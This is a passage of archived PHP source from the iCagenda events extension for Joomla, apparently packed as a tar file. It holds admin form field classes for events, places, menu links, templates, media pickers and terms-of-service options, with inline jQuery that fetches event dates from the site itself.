			$this->name . '">';

		$value = isset($this->value) ? $this->value : '';

		$html.= '<option value=""';

		if ( ! $id || ! $this->value)
		{
			$html.= ' selected="selected"';
		}

		$html.= '>' . JText::_('COM_ICAGENDA_SELECT_EVENT') . '</option>';

		foreach ($events as $e)
		{
			if ($e->state == '1')
			{
				$html.= '<option value="' . $e->id . '"';

				if ($eventid == $e->id)
				{
					$eventparam			= new JRegistry($e->params);
					$typeReg			= $eventparam->get('typeReg', 1);
					$weekdays			= $e->weekdays;

					$html.= ' selected="selected"';
				}

				if ($view == 'registration')
				{
					$html.= '>' . $e->title . ' (id:' . $e->id . ')</option>';
				}
				else
				{
					$html.= '>' . $e->title . ' (&#10003;' . $e->registered . ' - id:' . $e->id . ')</option>';
				}
			}
			elseif ($eventid == $e->id)
			{
				$html.= '<option value="' . $value . '"';
				$html.= ' selected="selected"';
				$html.= '>' . JText::_('COM_ICAGENDA_REGISTRATION_EVENT_NOT_PUBLISHED') . '</option>';
			}
		}

		$html.= '</select>';
		$html.= '</div>';

		$id_display = $id ? '&id=' . (int) $id : '';

		if ($view == 'registration')
		{
			// Info message with 'Registration Type' option setting, if the saved date is not in the list of dates for selected event.
			if ($typeReg == 1)
			{
				$reg_type = JText::_('COM_ICAGENDA_REG_BY_INDIVIDUAL_DATE');
			}
			elseif ($typeReg == 2)
			{
				$reg_type = JText::_('COM_ICAGENDA_REG_FOR_ALL_DATES');
			}
			else
			{
				$reg_type = JText::_('COM_ICAGENDA_REG_BY_DATE_OR_PERIOD');
			}

			$registration_type = '<strong>' . $reg_type . '</strong>';

			$alert_reg_type = '<div class="alert alert-info">';
			$alert_reg_type.= '<small>' . JText::sprintf('COM_ICAGENDA_REGISTRATION_TYPE_FOR_THIS_EVENT', $registration_type) . '</small>';
			$alert_reg_type.= '</div>';
			$alert_reg_type = addslashes($alert_reg_type);

			// Alert message for a date saved with a version before 3.3.3 (date not formatted as expected in sql format)
			$date_no_longer_exists = '<strong>"' . $db_date . '"</strong>';
			$alert_date_format = '<div class="ic-alert ic-alert-note"><span class="iCicon-info"></span> <strong>' . JText::_('NOTICE') . '</strong><br />' . JText::sprintf('COM_ICAGENDA_REGISTRATION_ERROR_DATE_CONTROL', $date_no_longer_exists) . '</div>';
			$alert_date_format = addslashes($alert_date_format);

			// Alert message if a date does not exist anymore for the selected event
			$alert_date_no_longer_exists = '<div class="alert alert-error"><strong>' . JText::_('COM_ICAGENDA_FORM_WARNING') . '</strong><br /><small>' . JText::sprintf('COM_ICAGENDA_REGISTRATION_DATE_NO_LONGER_EXISTS', $date_no_longer_exists) . '</small></div>';
			$alert_date_no_longer_exists = addslashes($alert_date_no_longer_exists);

			// Alert message if a date does not exist anymore for the selected event
			$alert_full_period_no_longer_exists = '<div class="alert alert-error"><strong>' . JText::_('COM_ICAGENDA_FORM_WARNING') . '</strong><br /><small>' . JText::sprintf('COM_ICAGENDA_REGISTRATION_PERIOD_NO_LONGER_EXISTS', $date_no_longer_exists) . '</small></div>';
			$alert_full_period_no_longer_exists = addslashes($alert_full_period_no_longer_exists);

			// Alert message if a date or period is set for the registration, but event registration type is now 'for all dates of the event'
			$for_all_dates = '<strong>' . JText::_('COM_ICAGENDA_ADMIN_REGISTRATION_FOR_ALL_DATES') . '</strong>';
			$alert_by_date_no_longer_possible = '<div class="alert alert-error"><strong>' . JText::_('COM_ICAGENDA_FORM_WARNING') . '</strong><br /><small>' . JText::sprintf('COM_ICAGENDA_REGISTRATION_BY_DATE_NO_LONGER_POSSIBLE', $for_all_dates, $for_all_dates) . '</small></div>';
			$alert_by_date_no_longer_possible = addslashes($alert_by_date_no_longer_possible);

			// Alert message if registration for all dates of the event, but event registration type is now 'select list of dates'
			$by_date = '<strong>' . JText::_('COM_ICAGENDA_ADMIN_REGISTRATION_BY_INDIVIDUAL_DATE') . '</strong>';
			$alert_for_all_dates_no_longer_possible = '<div class="alert alert-error"><strong>' . JText::_('COM_ICAGENDA_FORM_WARNING') . '</strong><br /><small>' . JText::sprintf('COM_ICAGENDA_REGISTRATION_FOR_ALL_DATES_NO_LONGER_POSSIBLE', $by_date) . '</small></div>';
			$alert_for_all_dates_no_longer_possible = addslashes($alert_for_all_dates_no_longer_possible);

			$html.= '<div id="date-alert">';
			$html.= '</div>';

			if ($typeReg == '1')
			{
				?>
				<script type="text/javascript">
					jQuery(document).ready(function($) {
						var value = $('#jform_date_id').val(),
							db_date = '<?php echo $db_date; ?>',
							db_period = '<?php echo $db_period; ?>',
							db_weekdays = '<?php echo $weekdays; ?>',
							db_date_is_valid = '<?php echo $db_date_is_valid; ?>',
							alert_reg_type = '<?php echo $alert_reg_type; ?>',
							alert_date_format = '<?php echo $alert_date_format; ?>',
							alert_date_no_longer_exists = '<?php echo $alert_date_no_longer_exists; ?>',
							alert_full_period_no_longer_exists = '<?php echo $alert_full_period_no_longer_exists; ?>',
							alert_for_all_dates_no_longer_possible = '<?php echo $alert_for_all_dates_no_longer_possible; ?>';

						if ( db_date == '' && db_period == '1' ) {
							// Registration for all dates, not possible if registration type is per date
							$('#date-alert').html(alert_reg_type+alert_for_all_dates_no_longer_possible);
						}
						else if ( !db_date_is_valid && db_date !== '' ) {
							// Date is not empty, but not a valid sql format (registration before release 3.3.3)
							$('#date-alert').html(alert_reg_type+alert_date_format);
						}
						else if ( db_date !== value && db_period !== '0') {
							// Date is not empty, but date is not anymore set for this event
							$('#date-alert').html(alert_date_no_longer_exists);
						}
						else if ( db_date == '' && db_period == '0' &&
							db_weekdays !== '' && db_weekdays !== '0') {
							// Date is not empty, but date is not anymore set for this event
							$('#date-alert').html(alert_full_period_no_longer_exists);
						}

						$('#jform_date_id').change(function(e) {
							$('#jform_period').val('0');
							$('#date-alert').html('');
						});
					});
				</script>
				<?php
			}
			elseif ($typeReg == '2')
			{
				?>
				<script type="text/javascript">
					jQuery(document).ready(function($) {
						var value = $('#jform_date_id').val(),
							db_date = '<?php echo $db_date; ?>',
							db_period = '<?php echo $db_period; ?>',
							alert_reg_type = '<?php echo $alert_reg_type; ?>',
							alert_by_date_no_longer_possible = '<?php echo $alert_by_date_no_longer_possible; ?>';

						$('#date-alert').html(alert_reg_type);

						if ( db_period !== '1' ) {
							// Date is empty, not possible if registration type is per date
							$('#date-alert').html(alert_reg_type+alert_by_date_no_longer_possible);
						}

						$('#jform_date_id').change(function(e) {
//							if ( value == 'update' ) {
								$('#jform_period').val('1');
								$('#date-alert').html('');
//							}
						});
					});
				</script>
			<?php
			}
		}
		?>
		<script type="text/javascript">
		jQuery(document).ready(function($) {
			var view = '<?php echo $view; ?>',
				regid = '<?php echo $id; ?>',
				eventid = '<?php echo $session_eventid; ?>',
				date = '<?php echo $session_date; ?>',
				list_target_id = 'jform_date_id',
				list_select_id = '<?php echo $this->id; ?>_id',
				initial_target_html = '<option value=""><?php echo JText::_("COM_ICAGENDA_SELECT_NO_EVENT_SELECTED"); ?>...</option>',
				loading = '<?php echo JText::_("IC_LOADING"); ?>';

			if (eventid) {
				$('#'+list_target_id).removeAttr('readonly');
				$('#'+list_target_id).val(date);

				$.ajax({url: 'index.php?option=com_icagenda&task='+view+'.dates&eventid='+eventid+'&regid='+regid,
					success: function(output) {
							$('#'+list_target_id).html(output);
					},
					error: function (xhr, ajaxOptions, thrownError) {
							alert(xhr.status + " "+ thrownError);
					}
				});

				$('#'+list_select_id).change(function(e) {
					$('#'+list_target_id).removeAttr('readonly');

					var selectvalue = $(this).val();

					$('#'+list_target_id).html('<option value="">'+loading+'</option>');

					if (selectvalue == "") {
						$('#'+list_target_id).attr('readonly', 'true');
						$('#'+list_target_id).html(initial_target_html);
					} else {
						$.ajax({url: 'index.php?option=com_icagenda&task='+view+'.dates&eventid='+selectvalue+'&regid='+regid,
							success: function(output) {
									$('#'+list_target_id).html(output);
							},
							error: function (xhr, ajaxOptions, thrownError) {
									alert(xhr.status + " "+ thrownError);
							}
						});
					}
				});
			} else {
				$('#'+list_target_id).attr('readonly', 'true');
				$('#'+list_target_id).html(initial_target_html);

				$('#'+list_select_id).change(function(e) {
					$('#'+list_target_id).removeAttr('readonly');

					var selectvalue = $(this).val();

					$('#'+list_target_id).html('<option value="">'+loading+'</option>');

					if (selectvalue == "") {
						$('#'+list_target_id).attr('readonly', 'true');
						$('#'+list_target_id).html(initial_target_html);
					} else {
						$.ajax({url: 'index.php?option=com_icagenda&task='+view+'.dates&eventid='+selectvalue+'&regid='+regid,
							success: function(output) {
									$('#'+list_target_id).html(output);
							},
							error: function (xhr, ajaxOptions, thrownError) {
									alert(xhr.status + " "+ thrownError);
							}
						});
					}
				});
			}
		});
		</script>
		<?php

		return $html;
	}
}
com_icagenda/models/fields/modal/param_place.php000060400000002643152455305270015750 0ustar00<?php
/** 
 *	iCagenda
 *----------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright	Copyright (C) 2012 JOOMLIC - All rights reserved.
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Jooml!C - http://www.joomlic.com
 * 
 * @since		1.0
 *----------------------------------------------------------------------------
*/

// No direct access to this file
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

JHTML::_('stylesheet', 'style.css', 'administrator/components/com_icagenda/add/css/');

class JFormFieldModal_param_place extends JFormField
{
	protected $type='modal_param_place';
	
	protected function getInput()
	{
		
		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);
		$query->select('a.place, a.id, a.coordinate')
			->from('`#__icagenda_events` AS a');
		$db->setQuery($query);
		$loc = $db->loadObjectList();
	
		$html= '
			<select id="'.$this->id.'_id"'.$class.' place="'.$this->place.'">
			<option value="NULL">-</option>';
		foreach ($loc as $l){
			$html.='<option value="'.$l->id.'"';
			if ($this->value == $l->id){
				$html.='selected="selected"';
			}
			$html.='>'.$l->place.'</option>';
			$span.='<span id="coord'.$l->id.'" style="display:none;">'.$l->coordinate.'</span>';
		}
		$html.='</select>'.$span;
			
		return $html;
	}
}com_icagenda/models/fields/modal/ictext_placeholder.php000060400000003074152455305270017345 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.3 2014-03-24
 * @since       3.2.10
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_ictext_Placeholder extends JFormField
{
	protected $type='modal_ictext_Placeholder';

	protected function getInput()
	{
		$class = JRequest::getVar('class');

		jimport('joomla.application.component.helper');
		$icagendaParams = JComponentHelper::getParams('com_icagenda');

		$replace = array("jform", "[", "]", "_Placeholder");
		$name = str_replace($replace, "", $this->name);

		$Type = $name . '_Placeholder';
		$tos_Type = $icagendaParams->get($Type);

		$placeholder = ( ! isset($tos_Type)) ? JText::_( 'COM_ICAGENDA_' . strtoupper($name) . '_PLACEHOLDER') : '';

		$html ='<input type="text" id="' . $this->id . '" class="' . $class . ' input-xxlarge" name="' . $this->name . '" value="' . $this->value . '" placeholder="' . $placeholder . '"/>';

		return $html;
	}
}
com_icagenda/models/fields/modal/template.php000060400000003665152455305270015324 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.1 2015-01-30
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_Template extends JFormField
{
	protected $type = 'modal_template';

	protected function getInput()
	{
		$url	= JPATH_SITE.'/components/com_icagenda/themes/packs';
		$list	= $this->getList($url);
		$class 	= !empty($this->class) ? ' class="' . $this->class . '"' : '';
		$html	= '<select id="' . $this->id . '_id"' . $class . ' name="' . $this->name . '">';

		foreach ($list as $l)
		{
			$html.= '<option value="' . $l . '"';

			if ($this->value == $l)
			{
				$html.= ' selected="selected"';
			}

			$html.= '>' . $l . '</option>';
		}

		$html.= '</select>';

		return $html;
	}

	function getList($dirname)
	{
		$arrayfiles = Array();

		if (file_exists($dirname))
		{
			$handle = opendir($dirname);

			while (false !== ($file = readdir($handle)))
			{
				if (!is_file($dirname.$file)
					&& $file != '.'
					&& $file != '..'
					&& $file != '.DS_Store'
					&& $file != '.htaccess'
					&& $file != '.thumbs'
					&& $file != 'index.php'
					&& $file != 'index.html'
					&& $file != 'php.ini'
					)
				{
					array_push($arrayfiles, $file);
				}
			}

			$handle = closedir($handle);
		}

		sort($arrayfiles);

		return $arrayfiles;
	}
}
com_icagenda/models/fields/modal/ictxt_type.php000060400000010034152455305270015671 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.2.5 2013-11-10
 * @since       3.2.5
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_ictxt_type extends JFormField
{
	/**
	 * The form field type.
	 */
	protected $type = 'modal_ictxt_type';

	/**
	 * Method to get the field input markup.
	 */
	protected function getInput()
	{
		jimport('joomla.application.component.helper');
		$icagendaParams = JComponentHelper::getParams('com_icagenda');

		$replace = array("jform", "[", "]", "_Type");
		$name = str_replace($replace, "", $this->name);

		$Type = $name.'_Type';
		$tos_Type = $icagendaParams->get($Type, '');

		$class_default = '';
		$class_article = '';
		$class_custom = '';
		$checked_default = '';
		$checked_article = '';
		$checked_custom = '';
		if ($tos_Type == '') {
			$class_default = 'btn-success';
			$checked_default = ' checked="checked"';
			$checked_article = '';
			$checked_custom = '';
		}
		elseif ($tos_Type == '1') {
			$class_article = 'btn-success';
			$checked_default = '';
			$checked_article = ' checked="checked"';
			$checked_custom = '';
		}
		elseif ($tos_Type == '2') {
			$class_custom = 'btn-success';
			$checked_default = '';
			$checked_article = '';
			$checked_custom = ' checked="checked"';
		} else {
			$class_default = 'btn-success';
			$checked_default = ' checked="checked"';
			$checked_article = '';
			$checked_custom = '';
		}

		$html	= array();
		$html[]	= '<fieldset class="radio btn-group">';
		$html[]	= '<label class="'.$class_default.'">'.JText::_( 'IC_DEFAULT' ).'<input type="radio"  id="'.$name.'_Type0" name="'.$this->name.'" value=""  onClick="tosdefault_'.$name.'();"'.$checked_default.' /></label>';
		$html[]	= '<label class="'.$class_article.'">'.JText::_( 'IC_ARTICLE' ).'<input type="radio"  id="'.$name.'_Type1" name="'.$this->name.'" value="1"  onClick="tosarticle_'.$name.'();"'.$checked_article.' /></label>';
		$html[]	= '<label class="'.$class_custom.'">'.JText::_( 'IC_CUSTOM_TEXT' ).'<input type="radio"  id="'.$name.'_Type2" name="'.$this->name.'" value="2"  onClick="toscustom_'.$name.'();"'.$checked_custom.' /></label>';
		$html[]	= '</fieldset>';



		$html[]	= '<script type="text/javascript">';
		$html[]	= 'function tosdefault_'.$name.'()';
		$html[]	= '{';
		$html[]	= 'document.getElementById("'.$name.'_default").style.display = "block";';
		$html[]	= 'document.getElementById("'.$name.'_article").style.display = "none";';
		$html[]	= 'document.getElementById("'.$name.'_custom").style.display = "none";';
		$html[]	= '$("#'.$name.'_Type0").attr("checked", "checked");';
		$html[]	= '}';
		$html[]	= 'function tosarticle_'.$name.'()';
		$html[]	= '{';
		$html[]	= 'document.getElementById("'.$name.'_default").style.display = "none";';
		$html[]	= 'document.getElementById("'.$name.'_article").style.display = "block";';
		$html[]	= 'document.getElementById("'.$name.'_custom").style.display = "none";';
		$html[]	= '$("#'.$name.'_Type1").attr("checked", "checked");';
		$html[]	= '}';
		$html[]	= 'function toscustom_'.$name.'()';
		$html[]	= '{';
		$html[]	= 'document.getElementById("'.$name.'_default").style.display = "none";';
		$html[]	= 'document.getElementById("'.$name.'_article").style.display = "none";';
		$html[]	= 'document.getElementById("'.$name.'_custom").style.display = "block";';
		$html[]	= '$("#'.$name.'_Type2").attr("checked", "checked");';
		$html[]	= '}';
		$html[]	= '</script>';

		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/menulink.php000060400000003272152455305270015325 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rez�, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rez� (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.3.6 2014-04-29
 * @since       2.1.4
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_Menulink extends JFormField
{
	protected $type='modal_menulink';

	protected function getInput()
	{

		$db		= JFactory::getDbo();
		$query	= $db->getQuery(true);
		$query->select('a.title, a.published, a.id, a.path')
			->from('`#__menu` AS a')
			->where( "(link = 'index.php?option=com_icagenda&view=list') AND (published > 0)" );
		$db->setQuery($query);
		$link = $db->loadObjectList();
		$class = JRequest::getVar('class');

		$html= '
			<select id="'.$this->id.'_id"'.$class.' name="'.$this->name.'">';
		if ($this->name!='jform[catid]' && $this->name!='catid') $html.='<option value="">- '.JTEXT::_('JGLOBAL_AUTO').' -</option>';
		foreach ($link as $l){
		if ($l->published == '1') {
			$html.='<option value="'.$l->id.'"';
			if ($this->value == $l->id){
				$html.='selected="selected"';
			}
			$html.='>['.$l->id.'] '.$l->title.'</option>';
		}
		}
		$html.='</select>';
		return $html;

	}
}
com_icagenda/models/fields/modal/tos_default.php000060400000003740152455305270016014 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.2.0 2013-09-18
 * @since       3.2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_tos_default extends JFormField
{
	protected $type='modal_tos_default';

//	protected function getLabel()
//	{
//	   return ' ';
//	}

	protected function getInput()
	{
		jimport('joomla.application.component.helper');
		$icagendaParams = JComponentHelper::getParams('com_icagenda');
		$tosContent = $icagendaParams->get('tosContent');
		$tos_Type = $icagendaParams->get('tos_Type', '');

		$html	= array();

		$html[] = '<div id="ic_default"><fieldset class="span9 iCleft">';
		$html[] = ''.JText::_( 'COM_ICAGENDA_SUBMIT_TOS_TYPE_DEFAULT_LBL' ).'<br /><div class="alert alert-info">'.JText::_( 'COM_ICAGENDA_TOS' ).'</div>';
		$html[] = '</fieldset></div>';

		if ($tos_Type == '') {
			$html[] = '<script type="text/javascript">';
			$html[] = 'document.getElementById("ic_default").style.display = "block";';
			$html[] = 'document.getElementById("ic_article").style.display = "none";';
			$html[] = 'document.getElementById("tos_custom").style.display = "none";';
			$html[] = '</script>';
		} else {
			$html[] = '<script type="text/javascript">';
			$html[] = 'document.getElementById("ic_default").style.display = "none";';
			$html[] = '</script>';
		}

		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/media.php000060400000010700152455305270014554 0ustar00<?php
/**
 *	iCagenda
 *----------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright	Copyright (C) 2012 JOOMLIC - All rights reserved.

 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Jooml!C - http://www.joomlic.com
 *
 * @update		2013-04-04
 * @version		2.1.4
 *----------------------------------------------------------------------------
*/

// No direct access to this file
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.filesystem.path' );
jimport('joomla.form.formfield');

class JFormFieldModal_media extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  11.1
	 */
	protected $type = 'modal_media';

	/**
	 * The initialised state of the document object.
	 *
	 * @var    boolean
	 * @since  11.1
	 */
	protected static $initialised = false;

	/**
	 * Method to get the field input markup for a media selector.
	 * Use attributes to identify specific created_by and asset_id fields
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   11.1
	 */
	protected function getInput()
	{
		$assetField = $this->element['asset_field'] ? (string) $this->element['asset_field'] : 'asset_id';
		$authorField = $this->element['created_by_field'] ? (string) $this->element['created_by_field'] : 'created_by';
		$asset = $this->form->getValue($assetField) ? $this->form->getValue($assetField) : (string) $this->element['asset_id'];
		if ($asset == '')
		{
			$asset = JRequest::getCmd('option');
		}

		$link = (string) $this->element['link'];
		if (!self::$initialised)
		{

			// Load the modal behavior script.
			JHtml::_('behavior.modal');

			// Build the script.
			$script = array();
			$script[] = '	function jInsertFieldValue(value, id) {';
			$script[] = '		var old_id = document.id(id).value;';
			$script[] = '		if (old_id != id) {';
			$script[] = '			var elem = document.id(id)';
			$script[] = '			elem.value = value;';
			$script[] = '			elem.fireEvent("change");';
			$script[] = '		}';
			$script[] = '	}';

			// Add the script to the document head.
			JFactory::getDocument()->addScriptDeclaration(implode("\n", $script));

			self::$initialised = true;
		}

		// Initialize variables.
		$html = array();
		$attr = '';

		// Initialize some field attributes.
		$attr .= $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : '';
		$attr .= $this->element['size'] ? ' size="' . (int) $this->element['size'] . '"' : '';

		// Initialize JavaScript field attributes.
		$attr .= $this->element['onchange'] ? ' onchange="' . (string) $this->element['onchange'] . '"' : '';

		// The text field.
		$html[] = '<span class="media_field">';
		$html[] = '	<input type="text" name="' . $this->name . '" id="' . $this->id . '"' . ' value="'
			. htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') . '"' . ' readonly="readonly"' . $attr . ' />';
		$html[] = '</span>';

		$directory = (string) $this->element['directory'];
		if ($this->value && file_exists(JPATH_ROOT . '/' . $this->value))
		{
			$folder = explode('/', $this->value);
			array_shift($folder);
			array_pop($folder);
			$folder = implode('/', $folder);
		}
		elseif (file_exists(JPATH_ROOT . '/' . JComponentHelper::getParams('com_media')->get('image_path', 'images') . '/' . $directory))
		{
			$folder = $directory;
		}
		else
		{
			$folder = '';
		}
		// The button.
		$html[] = '<span class="ic_button">';
		$html[] = '	<span class="blank">';
		$html[] = '		<a class="modal" title="' . JText::_('JLIB_FORM_BUTTON_SELECT') . '"' . ' href="'
			. ($this->element['readonly'] ? ''
			: ($link ? $link
				: 'index.php?option=com_media&amp;view=images&amp;tmpl=component&amp;asset=' . $asset . '&amp;author='
				. $this->form->getValue($authorField)) . '&amp;fieldid=' . $this->id . '&amp;folder=' . $folder) . '"'
			. ' rel="{handler: \'iframe\', size: {x: 800, y: 500}}">';
		$html[] = JText::_('JLIB_FORM_BUTTON_SELECT') . '</a>';
		$html[] = '	</span>';
		$html[] = '</span>';

		$html[] = '<span class="ic_button">';
		$html[] = '	<span class="blank">';
		$html[] = '		<a title="' . JText::_('JLIB_FORM_BUTTON_CLEAR') . '"' . ' href="#" onclick="';
		$html[] = 'document.id(\'' . $this->id . '\').value=\'\';';
		$html[] = 'document.id(\'' . $this->id . '\').fireEvent(\'change\');';
		$html[] = 'return false;';
		$html[] = '">';
		$html[] = JText::_('JLIB_FORM_BUTTON_CLEAR') . '</a>';
		$html[] = '	</span>';
		$html[] = '</span>';

		return implode("\n", $html);
	}
}
com_icagenda/models/fields/modal/icfile.php000060400000011750152455305270014736 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.2.13 2014-01-23
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

jimport('joomla.form.formfield');

class JFormFieldModal_icfile extends JFormField
{
	public $type = 'modal_icfile';


	protected static $initialised = false;

	/**
	 * Method to get the field input markup for a media selector.
	 * Use attributes to identify specific created_by and asset_id fields
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   11.1
	 */
	protected function getInput()
	{
		$assetField = $this->element['asset_field'] ? (string) $this->element['asset_field'] : 'asset_id';
		$authorField = $this->element['created_by_field'] ? (string) $this->element['created_by_field'] : 'created_by';
		$asset = $this->form->getValue($assetField) ? $this->form->getValue($assetField) : (string) $this->element['asset_id'];
		if ($asset == '')
		{
			$asset = JRequest::getCmd('option');
		}

		$link = (string) $this->element['link'];
		if (!self::$initialised)
		{

			// Load the modal behavior script.
			JHtml::_('behavior.modal');

			// Build the script.
			$script = array();
			$script[] = '	function jInsertFieldValue(value, id) {';
			$script[] = '		var old_id = document.id(id).value;';
			$script[] = '		if (old_id != id) {';
			$script[] = '			var elem = document.id(id)';
			$script[] = '			elem.value = value;';
			$script[] = '			elem.fireEvent("change");';
			$script[] = '		}';
			$script[] = '	}';

			// Add the script to the document head.
			JFactory::getDocument()->addScriptDeclaration(implode("\n", $script));

			self::$initialised = true;
		}

		// Initialize variables.
		$html = array();
		$attr = '';

		// Initialize some field attributes.
		$attr .= $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : '';
		$attr .= $this->element['size'] ? ' size="' . (int) $this->element['size'] . '"' : '';
		$attr .= $this->element['accept'] ? ' accept="' . (string) $this->element['accept'] . '"' : '';
		$attr .= ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : '';

		// Initialize JavaScript field attributes.
		$attr .= $this->element['onchange'] ? ' onchange="' . (string) $this->element['onchange'] . '"' : '';

		// The text field.
		if ($this->value == NULL) {
			$html[] = '<span>';
			$html[] = '	<input type="file" style="cursor: pointer" name="' . $this->name . '" id="' . $this->id . '"' . ' value="'
				. htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') . '"' . ' ' . $attr . ' />';
			$html[] = '</span>';
		} else {
			$html[] = '<span>';
			$html[] = '	<input type="text" name="' . $this->name . '" id="' . $this->id . '"' . ' value="'
				. htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') . '"' . ' readonly="readonly"' . $attr . ' />';
			$html[] = '</span>';
		}


		$folder = 'icagenda_doc';
		// The button.
//		$html[] = '<div class="button2-left">';
//		$html[] = '	<div class="blank">';
//		$html[] = '		<a class="modal" title="' . JText::_('JLIB_FORM_BUTTON_SELECT') . '"' . ' href="'
//			. ($this->element['readonly'] ? ''
//			: ($link ? $link
//				: 'index.php?option=com_media&amp;view=images&amp;tmpl=component&amp;asset=' . $asset . '&amp;author='
//				. $this->form->getValue($authorField)) . '&amp;fieldid=' . $this->id . '&amp;folder=' . $folder) . '"'
//			. ' rel="{handler: \'iframe\', size: {x: 800, y: 500}}">';
//		$html[] = JText::_('JLIB_FORM_BUTTON_SELECT') . '</a>';
//		$html[] = '	</div>';
//		$html[] = '</div>';

		if ($this->value == NULL) {
		$html[] = '<div class="button2-left">';
		$html[] = '	<div class="blank">';
		$html[] = '		<a title="' . JText::_('JLIB_FORM_BUTTON_CLEAR') . '"' . ' href="#" onclick="';
		$html[] = 'document.id(\'' . $this->id . '\').value=\'\';';
		$html[] = 'document.id(\'' . $this->id . '\').fireEvent(\'change\');';
		$html[] = 'return false;';
		$html[] = '">';
		$html[] = JText::_('JLIB_FORM_BUTTON_CLEAR') . '</a>';
		$html[] = '</div>';
		$html[] = '</div>';
		} else {
		$html[] = '<div class="button2-left">';
		$html[] = '	<div class="blank">';
		$html[] = '		<a title="' . JText::_('JLIB_FORM_BUTTON_CLEAR') . '"' . ' href="#" onclick="';
		$html[] = 'document.id(\'' . $this->id . '\').value=\'\';';
		$html[] = 'document.id(\'' . $this->id . '\').fireEvent(\'change\');';
		$html[] = 'return false;';
		$html[] = '">';
		$html[] = JText::_('JLIB_FORM_BUTTON_CLEAR') . '</a>';
		$html[] = '</div>';
		$html[] = '</div>';
		}

		return implode("\n", $html);







	}
}
com_icagenda/models/fields/modal/ic_editor.php000060400000003774152455305270015453 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.3.7 2014-05-18
 * @since       3.3.7
 *------------------------------------------------------------------------------
*/

// No direct access to this file
